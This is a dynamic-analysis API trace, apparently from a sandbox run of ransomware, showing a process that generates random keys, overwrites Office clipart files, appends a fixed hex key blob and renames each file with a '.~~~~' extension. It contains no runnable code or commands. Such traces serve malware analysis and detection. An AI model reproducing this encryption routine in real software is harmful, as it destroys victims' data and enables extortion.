	[0092.410] WriteFile (in: hFile=0x134, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0092.410] CloseHandle (hObject=0x134) returned 1
	[0092.410] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28da750
	[0092.410] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\INDST_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\indst_01.mid"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\INDST_01.MID.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\indst_01.mid.~~~~")) returned 1
	[0092.411] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28da750 | out: hHeap=0x300000) returned 1
	[0092.411] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0092.411] GetLastError () returned 0x0
	[0092.426] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0092.428] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0092.428] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0092.428] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0092.428] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0092.428] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0092.428] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=21241822463) returned 1
	[0092.428] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xa0dc6370, dwHighDateTime=0x1d60e1e)) 
	[0092.428] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0092.428] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0092.428] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0092.428] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x387cd8
	[0092.428] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0092.428] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x387cd8 | out: hHeap=0x300000) returned 1
	[0092.429] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0092.429] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0092.429] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28da750
	[0092.429] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0092.429] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x38ad88
	[0092.429] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28da750 | out: hHeap=0x300000) returned 1
	[0092.429] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0092.429] GetLastError () returned 0x0
	[0092.429] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0092.429] GetLastError () returned 0x0
	[0092.445] SetFilePointerEx (in: hFile=0x134, liDistanceToMove=0xfffffb3c, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0092.445] WriteFile (in: hFile=0x134, lpBuffer=0x2843fe0*, nNumberOfBytesToWrite=0x4c4, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2843fe0*, lpNumberOfBytesWritten=0x24dfec0*=0x4c4, lpOverlapped=0x0) returned 1
	[0092.453] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2843fe0 | out: hHeap=0x300000) returned 1
	[0092.453] SetFilePointerEx (in: hFile=0x134, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0092.453] WriteFile (in: hFile=0x134, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0092.453] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0092.453] WriteFile (in: hFile=0x134, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0092.453] CloseHandle (hObject=0x134) returned 1
	[0092.453] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28da750
	[0092.454] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0075478.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0075478.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0075478.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0075478.gif.~~~~")) returned 1
	[0092.454] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28da750 | out: hHeap=0x300000) returned 1
	[0092.455] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0092.455] GetLastError () returned 0x0
	[0092.455] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0092.464] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0092.464] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0092.464] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0092.464] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0092.464] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0092.464] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=21245432144) returned 1
	[0092.464] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xa0e12630, dwHighDateTime=0x1d60e1e)) 
	[0092.464] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0092.465] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0092.465] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0092.465] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x387d80
	[0092.465] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0092.465] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x387d80 | out: hHeap=0x300000) returned 1
	[0092.465] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0092.465] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0092.465] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28da750
	[0092.465] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0092.465] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x38afe8
	[0092.465] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28da750 | out: hHeap=0x300000) returned 1
	[0092.465] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0092.465] GetLastError () returned 0x0
	[0092.465] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0092.466] GetLastError () returned 0x0
	[0092.603] SetFilePointerEx (in: hFile=0x134, liDistanceToMove=0xffffaaea, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0092.603] WriteFile (in: hFile=0x134, lpBuffer=0x2843fe0*, nNumberOfBytesToWrite=0x5516, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2843fe0*, lpNumberOfBytesWritten=0x24dfec0*=0x5516, lpOverlapped=0x0) returned 1
	[0092.610] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2843fe0 | out: hHeap=0x300000) returned 1
	[0092.626] SetFilePointerEx (in: hFile=0x134, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0092.626] WriteFile (in: hFile=0x134, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0092.626] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0092.626] WriteFile (in: hFile=0x134, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0092.627] CloseHandle (hObject=0x134) returned 1
	[0092.627] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28d1710
	[0092.627] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086426.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086426.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086426.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086426.wmf.~~~~")) returned 1
	[0092.628] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d1710 | out: hHeap=0x300000) returned 1
	[0092.628] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0092.628] GetLastError () returned 0x0
	[0092.628] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0092.629] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0092.629] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0092.629] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0092.629] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0092.629] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0092.629] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=21261963834) returned 1
	[0092.630] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xa0fb5550, dwHighDateTime=0x1d60e1e)) 
	[0092.630] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0092.630] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0092.630] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0092.630] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x388100
	[0092.630] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0092.630] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x388100 | out: hHeap=0x300000) returned 1
	[0092.630] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0092.630] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0092.630] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28d1710
	[0092.630] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0092.630] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x38b080
	[0092.630] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d1710 | out: hHeap=0x300000) returned 1
	[0092.630] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0092.630] GetLastError () returned 0x0
	[0092.631] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0092.631] GetLastError () returned 0x0
	[0092.637] SetFilePointerEx (in: hFile=0x134, liDistanceToMove=0xffffec96, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0092.637] WriteFile (in: hFile=0x134, lpBuffer=0x28f9050*, nNumberOfBytesToWrite=0x136a, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28f9050*, lpNumberOfBytesWritten=0x24dfec0*=0x136a, lpOverlapped=0x0) returned 1
	[0092.638] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28f9050 | out: hHeap=0x300000) returned 1
	[0092.638] SetFilePointerEx (in: hFile=0x134, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0092.638] WriteFile (in: hFile=0x134, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0092.638] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0092.638] WriteFile (in: hFile=0x134, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0092.638] CloseHandle (hObject=0x134) returned 1
	[0092.638] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28da600
	[0092.639] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0098497.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0098497.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0098497.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0098497.wmf.~~~~")) returned 1
	[0092.639] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28da600 | out: hHeap=0x300000) returned 1
	[0092.639] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0092.639] GetLastError () returned 0x0
	[0092.640] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0092.641] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0092.641] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0092.641] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0092.641] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0092.641] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0092.641] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=21263140183) returned 1
	[0092.641] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xa0fdb6b0, dwHighDateTime=0x1d60e1e)) 
	[0092.641] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0092.641] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0092.641] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0092.642] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x388138
	[0092.642] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0092.642] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x388138 | out: hHeap=0x300000) returned 1
	[0092.642] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0092.642] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0092.642] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28da600
	[0092.642] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0092.642] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x38ba00
	[0092.642] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28da600 | out: hHeap=0x300000) returned 1
	[0092.642] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0092.642] GetLastError () returned 0x0
	[0092.642] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0092.642] GetLastError () returned 0x0
	[0092.661] SetFilePointerEx (in: hFile=0x134, liDistanceToMove=0xffff9f49, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0092.661] WriteFile (in: hFile=0x134, lpBuffer=0x28e0048*, nNumberOfBytesToWrite=0x60b7, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e0048*, lpNumberOfBytesWritten=0x24dfec0*=0x60b7, lpOverlapped=0x0) returned 1
	[0092.662] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e0048 | out: hHeap=0x300000) returned 1
	[0092.662] SetFilePointerEx (in: hFile=0x134, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0092.662] WriteFile (in: hFile=0x134, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0092.662] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0092.662] WriteFile (in: hFile=0x134, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0092.662] CloseHandle (hObject=0x134) returned 1
	[0092.662] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28d1710
	[0092.662] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099145.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099145.jpg"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099145.JPG.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099145.jpg.~~~~")) returned 1
	[0092.663] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d1710 | out: hHeap=0x300000) returned 1
	[0092.663] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0092.663] GetLastError () returned 0x0
	[0092.664] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0092.665] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0092.665] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0092.665] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0092.665] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0092.665] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0092.665] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=21265558031) returned 1
	[0092.666] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xa1001810, dwHighDateTime=0x1d60e1e)) 
	[0092.666] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0092.666] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0092.666] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0092.666] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3881e0
	[0092.666] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0092.666] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3881e0 | out: hHeap=0x300000) returned 1
	[0092.666] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0092.666] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0092.666] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28d1710
	[0092.666] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0092.666] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x38ba98
	[0092.666] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d1710 | out: hHeap=0x300000) returned 1
	[0092.666] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0092.666] GetLastError () returned 0x0
	[0092.666] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0092.666] GetLastError () returned 0x0
	[0092.716] SetFilePointerEx (in: hFile=0x134, liDistanceToMove=0xffffb8ae, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0092.716] WriteFile (in: hFile=0x134, lpBuffer=0x28e0048*, nNumberOfBytesToWrite=0x4752, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e0048*, lpNumberOfBytesWritten=0x24dfec0*=0x4752, lpOverlapped=0x0) returned 1
	[0092.717] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e0048 | out: hHeap=0x300000) returned 1
	[0092.719] SetFilePointerEx (in: hFile=0x134, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0092.719] WriteFile (in: hFile=0x134, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0092.719] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
